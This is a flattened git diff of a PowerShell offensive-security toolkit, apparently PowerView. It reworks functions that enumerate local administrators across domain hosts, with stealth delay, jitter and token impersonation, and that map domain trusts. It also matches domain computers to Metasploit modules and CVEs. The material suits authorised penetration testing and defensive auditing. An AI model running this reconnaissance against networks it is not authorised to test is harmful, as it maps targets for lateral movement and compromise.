$TableVulnComputers.Columns.Add('ComputerName') - $Null = $TableVulnComputers.Columns.Add('OperatingSystem') - $Null = $TableVulnComputers.Columns.Add('ServicePack') - $Null = $TableVulnComputers.Columns.Add('LastLogon') - $Null = $TableVulnComputers.Columns.Add('MsfModule') - $Null = $TableVulnComputers.Columns.Add('CVE') - - # Iterate through each exploit - $TableExploits | ForEach-Object { - - $ExploitOS = $_.OperatingSystem - $ExploitSP = $_.ServicePack - $ExploitMsf = $_.MsfModule - $ExploitCVE = $_.CVE - - # Iterate through each ADS computer - $TableAdsComputers | ForEach-Object { - - $AdsHostname = $_.Hostname - $AdsOS = $_.OperatingSystem - $AdsSP = $_.ServicePack - $AdsLast = $_.LastLogon - - # Add exploitable systems to vul computers data table - if ($AdsOS -like "$ExploitOS*" -and $AdsSP -like "$ExploitSP" ) { - # Add domain computer to data table - $Null = $TableVulnComputers.Rows.Add($AdsHostname,$AdsOS,$AdsSP,$AdsLast,$ExploitMsf,$ExploitCVE) - } - } - } - - # Display results - $VulnComputer = $TableVulnComputers | Select-Object ComputerName -Unique | Measure-Object - $VulnComputerCount = $VulnComputer.Count - - if ($VulnComputer.Count -gt 0) { - # Return vulnerable server list order with some hack date casting - Write-Verbose "[+] Found $VulnComputerCount potentially vulnerable systems!" - $TableVulnComputers | Sort-Object { $_.lastlogon -as [datetime]} -Descending - } - else { - Write-Verbose "[-] No vulnerable systems were found." - } -} +Specifies the LDAP source to search through for computers, +e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries. +.PARAMETER ComputerOperatingSystem -function Invoke-EnumerateLocalAdmin { -<# - .SYNOPSIS +Search computers with a specific operating system, wildcards accepted. - This function queries the domain for all active machines with - Get-NetComputer, then for each server it queries the local - Administrators with Get-NetLocalGroup. +.PARAMETER ComputerServicePack - Author: @harmj0y - License: BSD 3-Clause +Search computers with a specific service pack, wildcards accepted. - .PARAMETER ComputerName +.PARAMETER ComputerSiteName - Host array to enumerate, passable on the pipeline. +Search computers in the specific AD Site name, wildcards accepted. - .PARAMETER ComputerFile +.PARAMETER GroupName - File of hostnames/IPs to search. +The local group name to query for users. If not given, it defaults to "Administrators". - .PARAMETER ComputerFilter +.PARAMETER Method - Host filter name to query AD for, wildcards accepted. +The collection method to use, defaults to 'API', also accepts 'WinNT'. - .PARAMETER ComputerADSpath +.PARAMETER Server - The LDAP source to search through for hosts, e.g. "LDAP://OU=secret,DC=testlab,DC=local" - Useful for OU queries. +Specifies an Active Directory server (domain controller) to bind to. - .PARAMETER NoPing +.PARAMETER SearchScope - Switch. Don't ping each host to ensure it's up before enumerating. +Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree). - .PARAMETER Delay +.PARAMETER ResultPageSize - Delay between enumerating hosts, defaults to 0 +Specifies the PageSize to set for the LDAP searcher object. - .PARAMETER Jitter +.PARAMETER ServerTimeLimit - Jitter for the host delay, defaults to +/- 0.3 +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. - .PARAMETER OutFile +.PARAMETER Tombstone - Output results to a specified csv output file. +Switch. Specifies that the searcher should also return deleted/tombstoned objects. - .PARAMETER NoClobber +.PARAMETER Credential - Switch. Don't overwrite any existing output file. +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain and target systems. - .PARAMETER TrustGroups +.PARAMETER Delay - Switch. Only return results that are not part of the local machine - or the machine's domain. Old Invoke-EnumerateLocalTrustGroup - functionality. - - .PARAMETER DomainOnly +Specifies the delay (in seconds) between enumerating hosts, defaults to 0. - Switch. Only return domain (non-local) results +.PARAMETER Jitter - .PARAMETER Domain +Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3 - Domain to query for machines, defaults to the current domain. - - .PARAMETER DomainController +.PARAMETER Threads - Domain controller to reflect LDAP queries through. +The number of threads to use for user searching, defaults to 20. - .PARAMETER SearchForest +.EXAMPLE - Switch. Search all domains in the forest for target users instead of just - a single domain. +Find-DomainLocalGroupMember - .PARAMETER API +Enumerates the local group memberships for all reachable machines in the current domain. - Switch. Use API calls instead of the WinNT service provider. Less information, - but the results are faster. +.EXAMPLE - .PARAMETER Threads +Find-DomainLocalGroupMember -Domain dev.testlab.local - The maximum concurrent threads to execute. +Enumerates the local group memberships for all reachable machines the dev.testlab.local domain. - .EXAMPLE +.EXAMPLE - PS C:\> Invoke-EnumerateLocalAdmin +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Find-DomainLocalGroupMember -Domain testlab.local -Credential $Cred - Enumerates the members of local administrators for all machines - in the current domain. +Enumerates the local group memberships for all reachable machines the dev.testlab.local +domain using the alternate credentials. - .EXAMPLE +.OUTPUTS - PS C:\> Invoke-EnumerateLocalAdmin -Threads 10 +PowerView.LocalGroupMember.API - Threaded local admin enumeration, replaces Invoke-EnumerateLocalAdminThreaded +Custom PSObject with translated group property fields from API results. - .LINK +PowerView.LocalGroupMember.WinNT - http://blog.harmj0y.net/ +Custom PSObject with translated group property fields from WinNT results. #> - [CmdletBinding()] - param( - [Parameter(Position=0,ValueFromPipeline=$True)] - [Alias('Hosts')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.LocalGroupMember.API')] + [OutputType('PowerView.LocalGroupMember.WinNT')] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('DNSHostName')] [String[]] $ComputerName, - [ValidateScript({Test-Path -Path $_ })] - [Alias('HostList')] + [ValidateNotNullOrEmpty()] [String] - $ComputerFile, + $ComputerDomain, + [ValidateNotNullOrEmpty()] [String] - $ComputerFilter, + $ComputerLDAPFilter, + [ValidateNotNullOrEmpty()] [String] - $ComputerADSpath, + $ComputerSearchBase, - [Switch] - $NoPing, - - [UInt32] - $Delay = 0, - - [Double] - $Jitter = .3, + [ValidateNotNullOrEmpty()] + [Alias('OperatingSystem')] + [String] + $ComputerOperatingSystem, + [ValidateNotNullOrEmpty()] + [Alias('ServicePack')] [String] - $OutFile, + $ComputerServicePack, - [Switch] - $NoClobber, + [ValidateNotNullOrEmpty()] + [Alias('SiteName')] + [String] + $ComputerSiteName, - [Switch] - $TrustGroups, + [Parameter(ValueFromPipelineByPropertyName = $True)] + [ValidateNotNullOrEmpty()] + [String] + $GroupName = 'Administrators', - [Switch] - $DomainOnly, + [ValidateSet('API', 'WinNT')] + [Alias('CollectionMethod')] + [String] + $Method = 'API', + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] [String] - $Domain, + $Server, + [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] - $DomainController, + $SearchScope = 'Subtree', - [Switch] - $SearchForest, + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, - [ValidateRange(1,100)] + [ValidateRange(1, 10000)] [Int] - $Threads, + $ServerTimeLimit, [Switch] - $API - ) - - begin { - if ($PSBoundParameters['Debug']) { - $DebugPreference = 'Continue' - } + $Tombstone, - # random object for delay - $RandNo = New-Object System.Random - - Write-Verbose "[*] Running Invoke-EnumerateLocalAdmin with delay of $Delay" + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty, - # if we're using a host list, read the targets in and add them to the target list - if($ComputerFile) { - $ComputerName = Get-Content -Path $ComputerFile - } + [ValidateRange(1, 10000)] + [Int] + $Delay = 0, - if(!$ComputerName) { - [array]$ComputerName = @() + [ValidateRange(0.0, 1.0)] + [Double] + $Jitter = .3, - if($Domain) { - $TargetDomains = @($Domain) - } - elseif($SearchForest) { - # get ALL the domains in the forest to search - $TargetDomains = Get-NetForestDomain | ForEach-Object { $_.Name } - } - else { - # use the local domain - $TargetDomains = @( (Get-NetDomain).name ) - } + [Int] + [ValidateRange(1, 100)] + $Threads = 20 + ) - ForEach ($Domain in $TargetDomains) { - Write-Verbose "[*] Querying domain $Domain for hosts" - $ComputerName += Get-NetComputer -Filter $ComputerFilter -ADSpath $ComputerADSpath -Domain $Domain -DomainController $DomainController - } - - # remove any null target hosts, uniquify the list and shuffle it - $ComputerName = $ComputerName | Where-Object { $_ } | Sort-Object -Unique | Sort-Object { Get-Random } - if($($ComputerName.Count) -eq 0) { - throw "No hosts found!" - } + BEGIN { + $ComputerSearcherArguments = @{ + 'Properties' = 'dnshostname' + } + if ($PSBoundParameters['ComputerDomain']) { $ComputerSearcherArguments['Domain'] = $ComputerDomain } + if ($PSBoundParameters['ComputerLDAPFilter']) { $ComputerSearcherArguments['LDAPFilter'] = $ComputerLDAPFilter } + if ($PSBoundParameters['ComputerSearchBase']) { $ComputerSearcherArguments['SearchBase'] = $ComputerSearchBase } + if ($PSBoundParameters['Unconstrained']) { $ComputerSearcherArguments['Unconstrained'] = $Unconstrained } + if ($PSBoundParameters['ComputerOperatingSystem']) { $ComputerSearcherArguments['OperatingSystem'] = $OperatingSystem } + if ($PSBoundParameters['ComputerServicePack']) { $ComputerSearcherArguments['ServicePack'] = $ServicePack } + if ($PSBoundParameters['ComputerSiteName']) { $ComputerSearcherArguments['SiteName'] = $SiteName } + if ($PSBoundParameters['Server']) { $ComputerSearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $ComputerSearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $ComputerSearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $ComputerSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $ComputerSearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $ComputerSearcherArguments['Credential'] = $Credential } + + if ($PSBoundParameters['ComputerName']) { + $TargetComputers = $ComputerName } - - # delete any existing output file if it already exists - if(!$NoClobber) { - if ($OutFile -and (Test-Path -Path $OutFile)) { Remove-Item -Path $OutFile } + else { + Write-Verbose '[Find-DomainLocalGroupMember] Querying computers in the domain' + $TargetComputers = Get-DomainComputer @ComputerSearcherArguments | Select-Object -ExpandProperty dnshostname } - - if($TrustGroups) { - - Write-Verbose "Determining domain trust groups" - - # find all group names that have one or more users in another domain - $TrustGroupNames = Find-ForeignGroup -Domain $Domain -DomainController $DomainController | ForEach-Object { $_.GroupName } | Sort-Object -Unique - - $TrustGroupsSIDs = $TrustGroupNames | ForEach-Object { - # ignore the builtin administrators group for a DC (S-1-5-32-544) - # TODO: ignore all default built in sids? - Get-NetGroup -Domain $Domain -DomainController $DomainController -GroupName $_ -FullData | Where-Object { $_.objectsid -notmatch "S-1-5-32-544" } | ForEach-Object { $_.objectsid } - } - - # query for the primary domain controller so we can extract the domain SID for filtering - $DomainSID = Get-DomainSID -Domain $Domain -DomainController $DomainController + Write-Verbose "[Find-DomainLocalGroupMember] TargetComputers length: $($TargetComputers.Length)" + if ($TargetComputers.Length -eq 0) { + throw '[Find-DomainLocalGroupMember] No hosts found to enumerate' } - # script block that enumerates a server + # the host enumeration block we're using to enumerate all servers $HostEnumBlock = { - param($ComputerName, $Ping, $OutFile, $DomainSID, $TrustGroupsSIDs, $API, $DomainOnly) + Param($ComputerName, $GroupName, $Method, $TokenHandle) - # optionally check if the server is up first - $Up = $True - if($Ping) { - $Up = Test-Connection -Count 1 -Quiet -ComputerName $ComputerName + if ($TokenHandle) { + # impersonate the the token produced by LogonUser()/Invoke-UserImpersonation + $Null = Invoke-UserImpersonation -TokenHandle $TokenHandle -Quiet } - if($Up) { - # grab the users for the local admins on this server - if($API) { - $LocalAdmins = Get-NetLocalGroup -ComputerName $ComputerName -API - } - else { - $LocalAdmins = Get-NetLocalGroup -ComputerName $ComputerName - } - - # if we just want to return cross-trust users - if($DomainSID) { - # get the local machine SID - $LocalSID = ($LocalAdmins | Where-Object { $_.SID -match '.*-500$' }).SID -replace "-500$" - Write-Verbose "LocalSid for $ComputerName : $LocalSID" - # filter out accounts that begin with the machine SID and domain SID - # but preserve any groups that have users across a trust ($TrustGroupSIDS) - $LocalAdmins = $LocalAdmins | Where-Object { ($TrustGroupsSIDs -contains $_.SID) -or ((-not $_.SID.startsWith($LocalSID)) -and (-not $_.SID.startsWith($DomainSID))) } - } - - if($DomainOnly) { - $LocalAdmins = $LocalAdmins | Where-Object {$_.IsDomain} - } - if($LocalAdmins -and ($LocalAdmins.Length -ne 0)) { - # output the results to a csv if specified - if($OutFile) { - $LocalAdmins | Export-PowerViewCSV -OutFile $OutFile - } - else { - # otherwise return the user objects - $LocalAdmins + ForEach ($TargetComputer in $ComputerName) { + $Up = Test-Connection -Count 1 -Quiet -ComputerName $TargetComputer + if ($Up) { + $NetLocalGroupMemberArguments = @{ + 'ComputerName' = $TargetComputer + 'Method' = $Method + 'GroupName' = $GroupName } - } - else { - Write-Verbose "[!] No users returned from $ComputerName" + Get-NetLocalGroupMember @NetLocalGroupMemberArguments } } - } - } - - process { - - if($Threads) { - Write-Verbose "Using threading with threads = $Threads" - # if we're using threading, kick off the script block with Invoke-ThreadedFunction - $ScriptParams = @{ - 'Ping' = $(-not $NoPing) - 'OutFile' = $OutFile - 'DomainSID' = $DomainSID - 'TrustGroupsSIDs' = $TrustGroupsSIDs + if ($TokenHandle) { + Invoke-RevertToSelf } + } - # kick off the threaded script block + arguments - if($API) { - $ScriptParams['API'] = $True + $LogonToken = $Null + if ($PSBoundParameters['Credential']) { + if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) { + $LogonToken = Invoke-UserImpersonation -Credential $Credential } - - if($DomainOnly) { - $ScriptParams['DomainOnly'] = $True + else { + $LogonToken = Invoke-UserImpersonation -Credential $Credential -Quiet } - - Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads } + } - else { - if(-not $NoPing -and ($ComputerName.count -ne 1)) { - # ping all hosts in parallel - $Ping = {param($ComputerName) if(Test-Connection -ComputerName $ComputerName -Count 1 -Quiet -ErrorAction Stop){$ComputerName}} - $ComputerName = Invoke-ThreadedFunction -NoImports -ComputerName $ComputerName -ScriptBlock $Ping -Threads 100 - } + PROCESS { + # only ignore threading if -Delay is passed + if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) { - Write-Verbose "[*] Total number of active hosts: $($ComputerName.count)" + Write-Verbose "[Find-DomainLocalGroupMember] Total number of hosts: $($TargetComputers.count)" + Write-Verbose "[Find-DomainLocalGroupMember] Delay: $Delay, Jitter: $Jitter" $Counter = 0 + $RandNo = New-Object System.Random - ForEach ($Computer in $ComputerName) { - + ForEach ($TargetComputer in $TargetComputers) { $Counter = $Counter + 1 # sleep for our semi-randomized interval Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) - Write-Verbose "[*] Enumerating server $Computer ($Counter of $($ComputerName.count))" - $ScriptArgs = @($Computer, $False, $OutFile, $DomainSID, $TrustGroupsSIDs, $API, $DomainOnly) + Write-Verbose "[Find-DomainLocalGroupMember] Enumerating server $TargetComputer ($Counter of $($TargetComputers.count))" + Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $TargetComputer, $GroupName, $Method, $LogonToken + } + } + else { + Write-Verbose "[Find-DomainLocalGroupMember] Using threading with threads: $Threads" - Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $ScriptArgs + # if we're using threading, kick off the script block with New-ThreadedFunction + $ScriptParams = @{ + 'GroupName' = $GroupName + 'Method' = $Method + 'TokenHandle' = $LogonToken } + + # if we're using threading, kick off the script block with New-ThreadedFunction using the $HostEnumBlock + params + New-ThreadedFunction -ComputerName $TargetComputers -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads + } + } + + END { + if ($LogonToken) { + Invoke-RevertToSelf -TokenHandle $LogonToken } } } @@ -12515,99 +17305,197 @@ function Invoke-EnumerateLocalAdmin { # ######################################################## -function Get-NetDomainTrust { +function Get-DomainTrust { <# - .SYNOPSIS +.SYNOPSIS - Return all domain trusts for the current domain or - a specified domain. +Return all domain trusts for the current domain or a specified domain. - .PARAMETER Domain +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-Domain, Get-DomainSearcher, Get-DomainSID, PSReflect - The domain whose trusts to enumerate, defaults to the current domain. +.DESCRIPTION - .PARAMETER DomainController +This function will enumerate domain trust relationships for the current (or a remote) +domain using a number of methods. By default, the .NET method GetAllTrustRelationships() +is used on the System.DirectoryServices.ActiveDirectory.Domain object. If the -LDAP flag +is specified, or any of the LDAP-appropriate parameters, an LDAP search using the filter +'(objectClass=trustedDomain)' is used instead. If the -API flag is specified, the +Win32 API DsEnumerateDomainTrusts() call is used to enumerate instead. - Domain controller to reflect LDAP queries through. +.PARAMETER Domain - .PARAMETER ADSpath +Specifies the domain to query for trusts, defaults to the current domain. - The LDAP source to search through, e.g. "LDAP://DC=testlab,DC=local". - Useful for global catalog queries ;) +.PARAMETER API - .PARAMETER API +Switch. Use an API call (DsEnumerateDomainTrusts) to enumerate the trusts instead of the built-in +.NET methods. - Use an API call (DsEnumerateDomainTrusts) to enumerate the trusts. +.PARAMETER LDAP - .PARAMETER LDAP +Switch. Use LDAP queries to enumerate the trusts instead of direct domain connections. - Switch. Use LDAP queries to enumerate the trusts instead of direct domain connections. - More likely to get around network segmentation, but not as accurate. +.PARAMETER LDAPFilter - .PARAMETER PageSize +Specifies an LDAP query string that is used to filter Active Directory objects. - The PageSize to set for the LDAP searcher object. +.PARAMETER Properties - .EXAMPLE +Specifies the properties of the output object to retrieve from the server. - PS C:\> Get-NetDomainTrust +.PARAMETER SearchBase - Return domain trusts for the current domain using built in .NET methods. +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. - .EXAMPLE +.PARAMETER Server - PS C:\> Get-NetDomainTrust -Domain "prod.testlab.local" +Specifies an Active Directory server (domain controller) to bind to. - Return domain trusts for the "prod.testlab.local" domain using .NET methods +.PARAMETER SearchScope - .EXAMPLE +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). - PS C:\> Get-NetDomainTrust -LDAP -Domain "prod.testlab.local" -DomainController "PRIMARY.testlab.local" +.PARAMETER ResultPageSize - Return domain trusts for the "prod.testlab.local" domain enumerated through LDAP - queries, reflecting queries through the "Primary.testlab.local" domain controller, - using .NET methods. +Specifies the PageSize to set for the LDAP searcher object. - .EXAMPLE +.PARAMETER ServerTimeLimit - PS C:\> Get-NetDomainTrust -API -Domain "prod.testlab.local" +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. - Return domain trusts for the "prod.testlab.local" domain enumerated through API calls. +.PARAMETER Tombstone - .EXAMPLE +Switch. Specifies that the searcher should also return deleted/tombstoned objects. - PS C:\> Get-NetDomainTrust -API -DomainController WINDOWS2.testlab.local +.PARAMETER FindOne - Return domain trusts reachable from the WINDOWS2 machine through API calls. -#> +Only return one result object. - [CmdletBinding()] - param( - [Parameter(Position=0, ValueFromPipeline=$True)] - [String] - $Domain, +.PARAMETER Credential - [String] - $DomainController, +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +Get-DomainTrust + +Return domain trusts for the current domain using built in .NET methods. + +.EXAMPLE + +Get-DomainTrust -Domain "prod.testlab.local" + +Return domain trusts for the "prod.testlab.local" domain using .NET methods + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainTrust -LDAP -Domain "prod.testlab.local" -Server "PRIMARY.testlab.local" -Credential $Cred + +Return domain trusts for the "prod.testlab.local" domain enumerated through LDAP +queries, binding to the PRIMARY.testlab.local server for queries, and using the specified +alternate credenitals. + +.EXAMPLE + +Get-DomainTrust -API -Domain "prod.testlab.local" + +Return domain trusts for the "prod.testlab.local" domain enumerated through API calls. + +.OUTPUTS + +PowerView.DomainTrust.NET +A TrustRelationshipInformationCollection returned when using .NET methods (default). + +PowerView.DomainTrust.LDAP + +Custom PSObject with translated domain LDAP trust result fields. + +PowerView.DomainTrust.API + +Custom PSObject with translated domain API trust result fields. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.DomainTrust.NET')] + [OutputType('PowerView.DomainTrust.LDAP')] + [OutputType('PowerView.DomainTrust.API')] + [CmdletBinding(DefaultParameterSetName = 'NET')] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('Name')] + [ValidateNotNullOrEmpty()] [String] - $ADSpath, + $Domain, + [Parameter(ParameterSetName = 'API')] [Switch] $API, + [Parameter(ParameterSetName = 'LDAP')] [Switch] $LDAP, - [ValidateRange(1,10000)] + [Parameter(ParameterSetName = 'LDAP')] + [ValidateNotNullOrEmpty()] + [Alias('Filter')] + [String] + $LDAPFilter, + + [Parameter(ParameterSetName = 'LDAP')] + [ValidateNotNullOrEmpty()] + [String[]] + $Properties, + + [Parameter(ParameterSetName = 'LDAP')] + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] + [String] + $SearchBase, + + [Parameter(ParameterSetName = 'LDAP')] + [Parameter(ParameterSetName = 'API')] + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [Parameter(ParameterSetName = 'LDAP')] + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [Parameter(ParameterSetName = 'LDAP')] + [ValidateRange(1, 10000)] [Int] - $PageSize = 200, + $ResultPageSize = 200, + [Parameter(ParameterSetName = 'LDAP')] + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [Parameter(ParameterSetName = 'LDAP')] + [Switch] + $Tombstone, + + [Alias('ReturnOne')] + [Switch] + $FindOne, + + [Parameter(ParameterSetName = 'LDAP')] [Management.Automation.PSCredential] - $Credential + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty ) - begin { + BEGIN { $TrustAttributes = @{ [uint32]'0x00000001' = 'non_transitive' [uint32]'0x00000002' = 'uplevel_only' @@ -12621,33 +17509,61 @@ function Get-NetDomainTrust { [uint32]'0x00000200' = 'cross_organization_no_tgt_delegation' [uint32]'0x00000400' = 'pim_trust' } + + $LdapSearcherArguments = @{} + if ($PSBoundParameters['LDAPFilter']) { $LdapSearcherArguments['LDAPFilter'] = $LDAPFilter } + if ($PSBoundParameters['Properties']) { $LdapSearcherArguments['Properties'] = $Properties } + if ($PSBoundParameters['SearchBase']) { $LdapSearcherArguments['SearchBase'] = $SearchBase } + if ($PSBoundParameters['Server']) { $LdapSearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $LdapSearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $LdapSearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $LdapSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $LdapSearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $LdapSearcherArguments['Credential'] = $Credential } } - process { + PROCESS { + if ($PsCmdlet.ParameterSetName -ne 'API') { + $NetSearcherArguments = @{} + if ($Domain -and $Domain.Trim() -ne '') { + $SourceDomain = $Domain + } + else { + if ($PSBoundParameters['Credential']) { + $SourceDomain = (Get-Domain -Credential $Credential).Name + } + else { + $SourceDomain = (Get-Domain).Name + } + } - if(-not $Domain) { - # if not domain is specified grab the current domain - $SourceDomain = (Get-NetDomain -Credential $Credential).Name + $NetSearcherArguments['Domain'] = $SourceDomain + if ($PSBoundParameters['Credential']) { $NetSearcherArguments['Credential'] = $Credential } } else { - $SourceDomain = $Domain + if ($Domain -and $Domain.Trim() -ne '') { + $SourceDomain = $Domain + } + else { + $SourceDomain = $Env:USERDNSDOMAIN + } } - if($LDAP -or $ADSPath) { - - $TrustSearcher = Get-DomainSearcher -Domain $SourceDomain -DomainController $DomainController -Credential $Credential -PageSize $PageSize -ADSpath $ADSpath + if ($PsCmdlet.ParameterSetName -eq 'LDAP') { + # if we're searching for domain trusts through LDAP/ADSI + $TrustSearcher = Get-DomainSearcher @LdapSearcherArguments + $SourceSID = Get-DomainSID @NetSearcherArguments - $SourceSID = Get-DomainSID -Domain $SourceDomain -DomainController $DomainController - - if($TrustSearcher) { + if ($TrustSearcher) { $TrustSearcher.Filter = '(objectClass=trustedDomain)' - $Results = $TrustSearcher.FindAll() + if ($PSBoundParameters['FindOne']) { $Results = $TrustSearcher.FindOne() } + else { $Results = $TrustSearcher.FindAll() } $Results | Where-Object {$_} | ForEach-Object { $Props = $_.Properties $DomainTrust = New-Object PSObject - + $TrustAttrib = @() $TrustAttrib += $TrustAttributes.Keys | Where-Object { $Props.trustattributes[0] -band $_ } | ForEach-Object { $TrustAttributes[$_] } @@ -12657,8 +17573,10 @@ function Get-NetDomainTrust { 2 { 'Outbound' } 3 { 'Bidirectional' } } + $ObjectGuid = New-Object Guid @(,$Props.objectguid[0]) $TargetSID = (New-Object System.Security.Principal.SecurityIdentifier($Props.securityidentifier[0],0)).Value + $DomainTrust | Add-Member Noteproperty 'SourceName' $SourceDomain $DomainTrust | Add-Member Noteproperty 'SourceSID' $SourceSID $DomainTrust | Add-Member Noteproperty 'TargetName' $Props.name[0] @@ -12666,86 +17584,93 @@ function Get-NetDomainTrust { $DomainTrust | Add-Member Noteproperty 'ObjectGuid' "{$ObjectGuid}" $DomainTrust | Add-Member Noteproperty 'TrustType' $($TrustAttrib -join ',') $DomainTrust | Add-Member Noteproperty 'TrustDirection' "$Direction" - $DomainTrust.PSObject.TypeNames.Add('PowerView.DomainTrustLDAP') + $DomainTrust.PSObject.TypeNames.Insert(0, 'PowerView.DomainTrust.LDAP') $DomainTrust } - $Results.dispose() + if ($Results) { + try { $Results.dispose() } + catch { + Write-Verbose "[Get-DomainTrust] Error disposing of the Results object: $_" + } + } $TrustSearcher.dispose() } } - elseif($API) { - if(-not $DomainController) { - $DomainController = Get-NetDomainController -Credential $Credential -Domain $SourceDomain | Select-Object -First 1 | Select-Object -ExpandProperty Name + elseif ($PsCmdlet.ParameterSetName -eq 'API') { + # if we're searching for domain trusts through Win32 API functions + if ($PSBoundParameters['Server']) { + $TargetDC = $Server + } + elseif ($Domain -and $Domain.Trim() -ne '') { + $TargetDC = $Domain + } + else { + # see https://msdn.microsoft.com/en-us/library/ms675976(v=vs.85).aspx for default NULL behavior + $TargetDC = $Null } - if($DomainController) { - # arguments for DsEnumerateDomainTrusts - $PtrInfo = [IntPtr]::Zero + # arguments for DsEnumerateDomainTrusts + $PtrInfo = [IntPtr]::Zero - # 63 = DS_DOMAIN_IN_FOREST + DS_DOMAIN_DIRECT_OUTBOUND + DS_DOMAIN_TREE_ROOT + DS_DOMAIN_PRIMARY + DS_DOMAIN_NATIVE_MODE + DS_DOMAIN_DIRECT_INBOUND - $Flags = 63 - $DomainCount = 0 + # 63 = DS_DOMAIN_IN_FOREST + DS_DOMAIN_DIRECT_OUTBOUND + DS_DOMAIN_TREE_ROOT + DS_DOMAIN_PRIMARY + DS_DOMAIN_NATIVE_MODE + DS_DOMAIN_DIRECT_INBOUND + $Flags = 63 + $DomainCount = 0 - # get the trust information from the target server - $Result = $Netapi32::DsEnumerateDomainTrusts($DomainController, $Flags, [ref]$PtrInfo, [ref]$DomainCount) + # get the trust information from the target server + $Result = $Netapi32::DsEnumerateDomainTrusts($TargetDC, $Flags, [ref]$PtrInfo, [ref]$DomainCount) - # Locate the offset of the initial intPtr - $Offset = $PtrInfo.ToInt64() + # Locate the offset of the initial intPtr + $Offset = $PtrInfo.ToInt64() - # 0 = success - if (($Result -eq 0) -and ($Offset -gt 0)) { + # 0 = success + if (($Result -eq 0) -and ($Offset -gt 0)) { - # Work out how much to increment the pointer by finding out the size of the structure - $Increment = $DS_DOMAIN_TRUSTS::GetSize() + # Work out how much to increment the pointer by finding out the size of the structure + $Increment = $DS_DOMAIN_TRUSTS::GetSize() - # parse all the result structures - for ($i = 0; ($i -lt $DomainCount); $i++) { - # create a new int ptr at the given offset and cast the pointer as our result structure - $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset - $Info = $NewIntPtr -as $DS_DOMAIN_TRUSTS + # parse all the result structures + for ($i = 0; ($i -lt $DomainCount); $i++) { + # create a new int ptr at the given offset and cast the pointer as our result structure + $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset + $Info = $NewIntPtr -as $DS_DOMAIN_TRUSTS - $Offset = $NewIntPtr.ToInt64() - $Offset += $Increment + $Offset = $NewIntPtr.ToInt64() + $Offset += $Increment - $SidString = "" - $Result = $Advapi32::ConvertSidToStringSid($Info.DomainSid, [ref]$SidString);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error() + $SidString = '' + $Result = $Advapi32::ConvertSidToStringSid($Info.DomainSid, [ref]$SidString);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error() - if($Result -eq 0) { - Write-Verbose "Error: $(([ComponentModel.Win32Exception] $LastError).Message)" - } - else { - $DomainTrust = New-Object PSObject - $DomainTrust | Add-Member Noteproperty 'SourceDomain' $SourceDomain - $DomainTrust | Add-Member Noteproperty 'SourceDomainController' $DomainController - $DomainTrust | Add-Member Noteproperty 'NetbiosDomainName' $Info.NetbiosDomainName - $DomainTrust | Add-Member Noteproperty 'DnsDomainName' $Info.DnsDomainName - $DomainTrust | Add-Member Noteproperty 'Flags' $Info.Flags - $DomainTrust | Add-Member Noteproperty 'ParentIndex' $Info.ParentIndex - $DomainTrust | Add-Member 